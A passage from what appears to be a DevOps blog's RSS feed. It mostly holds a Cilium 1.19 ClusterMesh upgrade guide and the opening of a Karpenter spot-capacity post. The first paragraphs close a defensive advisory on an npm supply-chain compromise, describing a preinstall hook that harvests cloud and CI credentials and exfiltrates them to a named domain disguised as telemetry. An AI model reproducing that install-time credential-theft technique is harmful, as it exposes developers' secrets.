        </h2><p>A new Shai-Hulud wave landed on npm at 01:56 UTC on May 19, 2026 through the compromised <code>atool</code> maintainer account. It published malicious patch versions of the entire AntV data-viz namespace plus <code>echarts-for-react</code>, <code>timeago.js</code>, <code>size-sensor</code>, <code>canvas-nest.js</code>, and a handful of <code>@lint-md</code>, <code>@openclaw-cn</code>, <code>@starmind</code> packages. The payload runs at install time via a <code>bun run index.js</code> preinstall hook, harvests cloud and CI credentials, exfiltrates them to <code>t.m-kosche.com</code> disguised as OpenTelemetry traces, and creates a public GitHub repo to stash a backup copy.</p>
<p>Run the grep above against every lockfile in your stack right now. If you have a match in the malicious window, rotate npm publish tokens first, then GitHub tokens, then cloud IAM, then service-account tokens, then SSH keys. After that, harden CI with <code>--ignore-scripts</code>, exact pins, and an egress allowlist so the next wave does not get the same easy ride.</p>
<h2 id="h2-source" class="group relative scroll-mt-24">
        <a href="#h2-source" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Source
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-source"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Socket&#39;s running disclosure: <a href="https://socket.dev/blog/antv-packages-compromised"><code>socket.dev/blog/antv-packages-compromised</code></a>. The page is updated as the investigation continues.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Cilium 1.19 ClusterMesh Policy Flip: The Silent Default That Will Drop Your Cross-Cluster Traffic]]></title>
      <link>https://devops.anhp.site/posts/cilium-1-19-clustermesh-policy-flip</link>
      <description><![CDATA[Cilium 1.19 changed how network policies without a cluster selector resolve in a ClusterMesh. East/West traffic that 1.18 implicitly allowed is now silently dropped. Here is how to find every affected policy before you upgrade.]]></description>
      <pubDate>Mon, 18 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/cilium-1-19-clustermesh-policy-flip</guid>
      <category><![CDATA[Kubernetes]]></category>
      
      <category><![CDATA[Kubernetes]]></category><category><![CDATA[Cilium]]></category><category><![CDATA[ClusterMesh]]></category><category><![CDATA[Network Policy]]></category><category><![CDATA[eBPF]]></category><category><![CDATA[Networking]]></category>
      <content:encoded><![CDATA[<p>The Cilium 1.19 changelog is long. Most of it is fine. One line tucked in the upgrade guide will quietly break ClusterMesh deployments that did not prepare for it: the policy-default-local-cluster flag is now on by default. Network policies that used to implicitly match endpoints across every connected cluster now match only the local cluster. East/West traffic that worked yesterday gets dropped today, with nothing in the policy you wrote to explain why.</p>
<p>This post is the pre-upgrade walkthrough. What changed, what concretely breaks, the <code>cilium clustermesh inspect-policy-default-local-cluster</code> command that lists every affected policy on your live 1.18 cluster, and the safe order to roll the upgrade. There is also a side-section on the new strict-encryption knobs in 1.19, since those are easy to misread as a default flip too.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>The silent break:</strong> <code>policy-default-local-cluster</code> defaults to <code>true</code> in 1.19. CiliumNetworkPolicies without an explicit <code>io.cilium.k8s.policy.cluster</code> selector now match only local-cluster endpoints. Implicit cross-cluster matches stop working.</li>
<li><strong>The fix is a pre-upgrade audit, not a code change.</strong> Run <code>cilium clustermesh inspect-policy-default-local-cluster --all-namespaces</code> on the 1.18 cluster. Treat the output as your migration TODO.</li>
<li><strong>The escape hatch:</strong> set <code>clustermesh.policyDefaultLocalCluster: false</code> in Helm during the upgrade window to keep 1.18 semantics while you migrate.</li>
<li><strong>Encryption strict mode is opt-in, not flipped.</strong> 1.19 adds a new ingress strict mode and renames the old egress keys. If your <code>values.yaml</code> still uses <code>encryption.strictMode.enabled</code>, that is now <code>encryption.strictMode.egress.enabled</code>. The deprecation warning today becomes a removal in 1.20.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A Cilium ClusterMesh between two or more Kubernetes clusters, currently on 1.18.x.</li>
<li>Cluster-admin RBAC on each cluster.</li>
<li><code>cilium</code> CLI v0.16+ installed locally (the inspect command landed alongside the 1.19 release).</li>
<li>Hubble running. If you don&#39;t run Hubble in production, this upgrade is a good reason to start; the validation steps below depend on it.</li>
</ul>
<h2 id="h2-what-actually-changed-in-119" class="group relative scroll-mt-24">
        <a href="#h2-what-actually-changed-in-119" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What actually changed in 1.19
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-actually-changed-in-119"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Two unrelated things people are conflating. Take them one at a time.</p>
<h3 id="h3-1-clustermesh-policy-default-the-silent-break-one" class="group relative scroll-mt-24">
        <a href="#h3-1-clustermesh-policy-default-the-silent-break-one" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. ClusterMesh policy default (the silent-break one)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-clustermesh-policy-default-the-silent-break-one"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>From the 1.19 upgrade guide:</p>
<blockquote>
<p>Cilium network policies used to implicitly select endpoints from all the clusters. Cilium 1.18 introduced a new option called <code>policy-default-local-cluster</code> which will be set by default in Cilium 1.19.</p>
</blockquote>
<p>And from the 1.19.0 release notes:</p>
<blockquote>
<p>When network policy selectors don&#39;t explicitly define a cluster for communication to be allowed, they will now default to only allowing the local cluster.</p>
</blockquote>
<p>The mechanic: before 1.19, a <code>fromEndpoints</code> selector like</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">fromEndpoints:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">web</span>
</code></pre><p>matched every pod labelled <code>app: web</code> in every cluster in the mesh. After 1.19 (with the default), it matches only pods in the local cluster. To preserve the old semantics you have to be explicit:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">fromEndpoints:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">web</span>
      <span class="hljs-attr">io.cilium.k8s.policy.cluster:</span> <span class="hljs-string">&quot;*&quot;</span>     <span class="hljs-comment"># all clusters in the mesh</span>
<span class="hljs-comment"># or</span>
<span class="hljs-attr">fromEndpoints:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">web</span>
      <span class="hljs-attr">io.cilium.k8s.policy.cluster:</span> <span class="hljs-string">cluster-east</span>
</code></pre><p>This change is a security improvement. Implicit cross-cluster trust was a frequent source of &quot;we didn&#39;t realize that policy reached the staging cluster.&quot; But for clusters that intentionally relied on it for legitimate East/West traffic, the upgrade silently severs the path. PR <code>cilium/cilium#40609</code>.</p>
<h3 id="h3-2-encryption-strict-modes-new-knobs-not-a-default-flip" class="group relative scroll-mt-24">
        <a href="#h3-2-encryption-strict-modes-new-knobs-not-a-default-flip" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Encryption strict modes (new knobs, not a default flip)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-encryption-strict-modes-new-knobs-not-a-default-flip"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The release-note line that has been getting misread:</p>
<blockquote>
<p>Encryption Strict Modes: Both IPsec and WireGuard transparent encryption modes now support a &quot;strict mode&quot; to require traffic to be encrypted between nodes. Unencrypted traffic will be dropped in this mode.</p>
</blockquote>
<p>Three actual changes here, none of which flip on by default:</p>
<ol>
<li>A new <strong>ingress</strong> strict mode was added. Previous releases only had an egress strict mode. Flag: <code>--enable-encryption-strict-mode-ingress</code>. Helm: <code>encryption.strictMode.ingress.enabled</code>.</li>
<li>IPsec strict mode was generalized from WireGuard, so the same strict-mode semantics now exist for both transports. PR <code>#42115</code>.</li>
<li>The pre-existing egress strict-mode Helm keys were <strong>renamed</strong>. <code>encryption.strictMode.enabled</code> is deprecated in favor of <code>encryption.strictMode.egress.enabled</code>. The old keys still work in 1.19 with a warning. They are scheduled for removal in 1.20.</li>
</ol>
<p>If you are not running strict mode today, this section does not change anything for you on upgrade. If you are, you have a <code>values.yaml</code> rename to do. Either way, do not enable strict ingress and the ClusterMesh policy migration in the same change window.</p>
<h2 id="h2-what-concretely-breaks-on-a-naive-helm-upgrade" class="group relative scroll-mt-24">
        <a href="#h2-what-concretely-breaks-on-a-naive-helm-upgrade" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What concretely breaks on a naive helm upgrade
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-concretely-breaks-on-a-naive-helm-upgrade"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Surface</th>
<th>Behavior post-upgrade</th>
</tr>
</thead>
<tbody><tr>
<td>ClusterMesh East/West traffic with implicit selectors</td>
<td>Dropped at policy enforcement. Hubble shows <code>verdict: DROPPED, type: policy-verdict</code>.</td>
</tr>
<tr>
<td>Existing strict-mode encryption with old Helm keys</td>
<td>Still works, emits deprecation warning. Will break on 1.20.</td>
</tr>
<tr>
<td>Mutual Authentication</td>
<td>Now disabled by default. Re-enable explicitly if you depend on it.</td>
</tr>
<tr>
<td><code>CiliumBGPPeeringPolicy</code> v1 API</td>
<td>Removed. Migrate to <code>cilium.io/v2</code> before upgrading.</td>
</tr>
<tr>
<td>Kafka L7 policy, <code>ToRequires</code>, <code>FromRequires</code></td>
<td>Deprecated. Surfaces as warnings, no behavior change yet.</td>
</tr>
<tr>
<td>Host-network pods</td>
<td>Unchanged, unless you also enable ingress strict mode.</td>
</tr>
</tbody></table>
<p>The only line in that table that silently breaks a naive upgrade is the first one. Everything else either preserves behavior (deprecation warnings), is opt-in (strict ingress), or is a known API removal (BGP v1) that surfaces loudly.</p>
<h2 id="h2-pre-flight-on-the-live-118-cluster" class="group relative scroll-mt-24">
        <a href="#h2-pre-flight-on-the-live-118-cluster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pre-flight on the live 1.18 cluster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-pre-flight-on-the-live-118-cluster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The command that matters:</p>
<pre><code class="hljs language-bash">cilium clustermesh inspect-policy-default-local-cluster --all-namespaces
</code></pre><p>This walks every CiliumNetworkPolicy in the cluster, identifies selectors that would implicitly match across clusters in 1.18, and lists them. The output is your migration TODO. You will not get a second chance to run it after upgrade, because once you are on 1.19 the implicit matches no longer exist to inspect.</p>
<p>For each policy in the output, decide:</p>
<ul>
<li><strong>The cross-cluster match was intentional.</strong> Add <code>io.cilium.k8s.policy.cluster: &quot;*&quot;</code> to the selector, or list the specific cluster names. Keep behavior identical post-upgrade.</li>
<li><strong>The cross-cluster match was accidental.</strong> Do nothing. 1.19 will tighten the policy to local-only, which is what you wanted anyway.</li>
</ul>
<p>If your audit produces a list you can&#39;t finish in a maintenance window, set the escape hatch:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># values.yaml on the upgrade</span>
<span class="hljs-attr">clustermesh:</span>
  <span class="hljs-attr">policyDefaultLocalCluster:</span> <span class="hljs-literal">false</span>   <span class="hljs-comment"># keep 1.18 semantics for one release</span>
</code></pre><p>This is a one-release stay of execution. You upgrade to 1.19, run with 1.18 policy semantics, finish migrating the policies, then flip <code>policyDefaultLocalCluster: true</code> and validate. Don&#39;t let it sit there past one release.</p>
<h2 id="h2-detecting-drops-with-hubble" class="group relative scroll-mt-24">
        <a href="#h2-detecting-drops-with-hubble" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Detecting drops with Hubble
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-detecting-drops-with-hubble"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You will need Hubble both for pre-flight validation and post-upgrade verification.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Cross-cluster traffic that currently works, BEFORE upgrade.</span>
<span class="hljs-comment"># Capture a representative window — a full day if your workload is daily-batchy.</span>
hubble observe \
  --cluster &lt;remote-cluster-name&gt; \
  --verdict FORWARDED \
  --since 24h \
  --output jsonpb &gt; pre-upgrade-east-west.jsonl
</code></pre><p>Save that file. It is the ground truth of what worked. Post-upgrade, you re-run the equivalent query and diff. Any traffic that was FORWARDED before and is now DROPPED is a policy you missed.</p>
<p>After upgrade, watch for policy drops with the originating rule attribution (1.19 includes the rule name in drop events, which 1.18 did not):</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Policy drops with rule names</span>
hubble observe --verdict DROPPED --<span class="hljs-built_in">type</span> policy-verdict --since 10m -f
</code></pre><p>Strict-encryption-specific filters added in 1.19 (PR <code>#43096</code>):</p>
<pre><code class="hljs language-bash">hubble observe --unencrypted --since 5m   <span class="hljs-comment"># cleartext flows</span>
hubble observe --encrypted                <span class="hljs-comment"># encrypted flows</span>
</code></pre><p>Useful even if you are not flipping strict mode, because it confirms encryption is happening where you expect.</p>
<h2 id="h2-prometheus-metrics-worth-alerting-on" class="group relative scroll-mt-24">
        <a href="#h2-prometheus-metrics-worth-alerting-on" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prometheus metrics worth alerting on
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prometheus-metrics-worth-alerting-on"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><pre><code class="hljs language-promql"># Sudden policy-drop spike after upgrade
rate(cilium_drop_count_total{reason=&quot;Policy denied&quot;}[5m])

# Forward/drop ratio inversion is the clearest &quot;something broke&quot; signal
sum(rate(cilium_forward_count_total[5m]))
  /
sum(rate(cilium_drop_count_total[5m]))

# IPsec health (worth watching if you are running encryption at all,
# strict or not)
cilium_ipsec_xfrm_error
cilium_ipsec_xfrm_states{direction=&quot;in&quot;}

# Confirm transparent encryption is on where you expect
cilium_feature_datapath_transparent_encryption{mode=&quot;wireguard&quot;}
</code></pre><p>The metric names have shifted a bit across releases. The 1.19 metrics reference documents the current set. If you have alerts on <code>cilium_policy_l7_denied_total</code> from older docs, double-check the metric is still emitted under that exact name on 1.19 before relying on it.</p>
<h2 id="h2-the-safe-enable-order" class="group relative scroll-mt-24">
        <a href="#h2-the-safe-enable-order" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The safe enable-order
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-safe-enable-order"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Sequence the upgrade so each change is isolated. The whole sequence is one release cycle, not one maintenance window.</p>
<pre><code class="hljs language-text">Day 0 (1.18, planning)
  - Run: cilium clustermesh inspect-policy-default-local-cluster --all-namespaces
  - Audit. Add io.cilium.k8s.policy.cluster selectors to policies that
    intentionally cross clusters.
  - Capture a baseline:
      hubble observe --cluster &lt;remote&gt; --verdict FORWARDED --since 24h
        &gt; pre-upgrade-east-west.jsonl
  - Rename any encryption.strictMode.* Helm keys to encryption.strictMode.egress.*

Day 1 (1.18 to 1.19 upgrade)
  - helm upgrade with:
      clustermesh.policyDefaultLocalCluster: false
      encryption.strictMode.ingress.enabled: false
  - Validate connectivity unchanged.

Day 1+1h (post-upgrade gate)
  - Re-run hubble observe --cluster &lt;remote&gt; --verdict FORWARDED.
    Diff against pre-upgrade-east-west.jsonl. Should be approximately identical.
  - hubble observe --verdict DROPPED --type policy-verdict.
    Quiet for legitimate traffic.

Day 7 (audit complete)
  - Flip clustermesh.policyDefaultLocalCluster: true
  - Watch cilium_drop_count_total{reason=&quot;Policy denied&quot;} for an hour.
    Spikes mean a policy still relies on implicit cross-cluster.

Day 8+ (optional strict encryption rollout)
  - If you want strict ingress encryption, enable it on one node first
    via per-node config override.
  - hubble observe --unencrypted should be quiet for that node&#x27;s
    workloads.
  - Roll node by node.
</code></pre><p>A small thing that matters: do not flip <code>policyDefaultLocalCluster</code> and enable ingress strict mode in the same change window. You cannot tell which one caused a drop if both fire at once.</p>
<h2 id="h2-recovery-if-you-skipped-the-audit" class="group relative scroll-mt-24">
        <a href="#h2-recovery-if-you-skipped-the-audit" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Recovery, if you skipped the audit
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-recovery-if-you-skipped-the-audit"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you have already upgraded without running the inspect command and traffic is being dropped:</p>
<ol>
<li>Roll the Helm value: <code>clustermesh.policyDefaultLocalCluster: false</code>. This restores 1.18 semantics. East/West traffic resumes.</li>
<li>Run <code>cilium clustermesh inspect-policy-default-local-cluster --all-namespaces</code> (it works on 1.19 too, it just lists policies that <em>would</em> differ if you flipped the default).</li>
<li>Migrate the policies.</li>
<li>Flip the value back to <code>true</code>.</li>
</ol>
<p>This is recoverable. It is also avoidable. Run the inspect command on 1.18 and you skip the firefight.</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The 1.19 ClusterMesh policy-default flip is the one upgrade item that silently breaks production. The encryption strict-mode changes are knobs, not defaults. The order of operations to upgrade cleanly:</p>
<ol>
<li>Audit policies on 1.18 with <code>cilium clustermesh inspect-policy-default-local-cluster --all-namespaces</code>. Add explicit <code>io.cilium.k8s.policy.cluster</code> selectors where cross-cluster traffic was intentional.</li>
<li>Upgrade with <code>clustermesh.policyDefaultLocalCluster: false</code> as a one-release escape hatch.</li>
<li>Rename any deprecated <code>encryption.strictMode.*</code> Helm keys to <code>encryption.strictMode.egress.*</code>.</li>
<li>Validate post-upgrade with Hubble against a pre-upgrade traffic capture.</li>
<li>Flip <code>policyDefaultLocalCluster</code> back to <code>true</code> once the audit is complete and traffic is clean.</li>
<li>Roll ingress strict encryption separately, node by node, only after the policy migration has settled.</li>
</ol>
<p>The hardest part of this upgrade is not the upgrade. It is the audit. Run the inspect command on your live 1.18 cluster today, before the maintenance window. The rest of the steps are mechanical.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Karpenter Spot Storm Fallback Gap: The Production Loop Nobody Talks About]]></title>
      <link>https://devops.anhp.site/posts/karpenter-spot-storm-fallback-gap</link>
      <description><![CDATA[When AWS spot capacity dries up in a region, Karpenter does not automatically fall back to on-demand. It retries the same dying offerings on a 3-minute loop. Here is why, and how to design around it.]]></description>
      <pubDate>Mon, 18 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/karpenter-spot-storm-fallback-gap</guid>
      <category><![CDATA[Kubernetes]]></category>
      
      <category><![CDATA[Kubernetes]]></category><category><![CDATA[Karpenter]]></category><category><![CDATA[AWS]]></category><category><![CDATA[Spot Instances]]></category><category><![CDATA[Autoscaling]]></category><category><![CDATA[SRE]]></category>
      <content:encoded><![CDATA[<p>Karpenter sells itself as the smart spot handler for Kubernetes on AWS. Wide instance-type pools, fast bin-packing, automatic interruption draining. Most of the time it lives up to that pitch. Then your region enters a spot-capacity storm at 3pm on a Tuesday, half your nodes get reclaimed in fifteen minutes, and Karpenter keeps trying to launch fresh spot nodes that EC2 immediately refuses. Pods stay Pending for an hour. On-demand capacity sits right there. Karpenter never touches it.</p>
<p>This post is a walk through that scenario: what Karpenter is actually doing during a storm, why the maintainers consider it intentional, the workarounds that hold up in production, and the metrics that catch the loop before your customers do.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Karpenter caches &quot;unavailable&quot; spot offerings (instance-type plus AZ plus capacity-type) for a hard-coded 3 minutes, then retries. During a regional storm the retries fail again, and the loop repeats.</li>
<li>Fallback to on-demand fires only when every compatible spot offering in a single NodePool gets ICE&#39;d inside the same scheduling pass. It does not fire on interruption rate.</li>
<li>Maintainers have closed the obvious &quot;automatic spot-interruption fallback&quot; feature request (<code>#8298</code>) as working-as-intended. The official answer is: use wider requirements, <code>minValues</code>, and weighted NodePools.</li>
